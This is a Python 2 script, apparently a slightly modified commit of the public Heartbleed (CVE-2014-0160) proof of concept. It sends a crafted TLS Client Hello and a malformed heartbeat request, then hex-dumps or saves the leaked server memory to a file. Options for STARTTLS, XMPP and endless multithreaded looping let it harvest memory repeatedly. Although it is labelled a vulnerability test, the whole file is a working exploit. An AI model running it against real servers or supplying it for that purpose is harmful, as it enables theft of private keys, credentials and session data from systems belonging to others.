Don't error with no args

hb_test.py

#!/usr/bin/env python2

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

# Modifed to send heartbeat requests for both TLS v1.1 and v1.2

import sys
import struct
import socket
import threading
import time
import select
import re
from optparse import OptionParser

dump_lock = threading.Lock()

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='Port to test (default: 443)')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS')
options.add_option('-u', '--udp', action='store_true', default=False, help='Use UDP instead of TCP (default: False)')
options.add_option('-r', '--dump', action='store_true', default=False, help='Dump response to response.dat (default: False)')
options.add_option('--dump-file', default='response.dat', help='dump file filename (default:response.dat')
options.add_option('-x', '--xmpp', action='store_true', default=False, help='Check XMPP STARTTLS')
options.add_option('-t', '--to', dest='hostname', help='Use given host name in XMPP')
options.add_option('-d', '--debug', action='store_true', default=False, help='Enable debug output')
options.add_option('--threads', type='int', default=1, help='Threads to run (default=1)')
options.add_option('--loop', action='store_true', default=False, help='Do check for ever')
options.add_option('--tls1', action='store_true', default=False, help='Send for TLS1.1 (default is TLS1.2)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

#heartbeat request for TLS v1.2
hb = h2bin('''
18 03 02 00 03
01 ff ff
''')

#heartbeat request for TLS v1.1
hbv11 = h2bin('''
18 03 01 00 03
01 ff ff
''')

def hexdump_squashed(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        if hxdat == "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00":
            if allnulls == 1:
                continue
            hxdat = '...'
            allnulls = 1
            pdat = ''
        else:
            pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
            allnulls = 0
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s, opts):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            if opts.dump:
                with dump_lock:
                    with open(opts.dump_file, "a") as dump:
                        dump.write(pay)
            else:
                hexdump_squashed(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump_squashed(pay)
            print 'Server returned error, likely not vulnerable'
            return False


def check(host, opts):
    if opts.udp:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    else:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((host, opts.port))

    if opts.starttls:
        re = s.recv(4096)
        if opts.debug: print re
        s.send('ehlo starttlstest\n')
        re = s.recv(1024)
        if opts.debug: print re
        if not 'STARTTLS' in re:
            if opts.debug: print re
            print 'STARTTLS not supported...'
            sys.exit(0)
        s.send('starttls\n')
        re = s.recv(1024)

    if opts.xmpp:
        s.send('<stream:stream xmlns="jabber:client" version="1.0" xmlns:stream="http://etherx.jabber.org/streams" to="%s">' % (opts.hostname or host))
        re = s.recv(4096)
        while not '<stream:features' in re:
            if opts.debug: print re
            re = s.recv(4096)
        if opts.debug: print re
        if not 'urn:ietf:params:xml:ns:xmpp-tls' in re:
            print 'STARTTLS not supported...'
            sys.exit(0)
        s.send('<starttls xmlns="urn:ietf:params:xml:ns:xmpp-tls"/>')
        re = s.recv(4096)
        if opts.debug: print re

    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print '\nSending heartbeat request for TLS v1.{}...'.format('1' if opts.tls1 else '2')
    sys.stdout.flush()
    s.send(hbv11 if opts.tls1 else hb)
    hit_hb(s, opts)


def main():
    opts, args = options.parse_args()
    
    if len(args) < 1:
        options.print_help()
        return
    
    host = args[0]

    if not opts.loop:
        check(host, opts)
    else:
        def do_in_thread():
            while True:
                check(host, opts)

        for _ in range(opts.threads):
            t = threading.Thread(target=do_in_thread)
            t.daemon = True
            t.start()

        try:
            while True:
                time.sleep(100)
        except (KeyboardInterrupt, SystemExit):
            print '\n! Received keyboard interrupt, quitting threads.'


if __name__ == '__main__':
    main()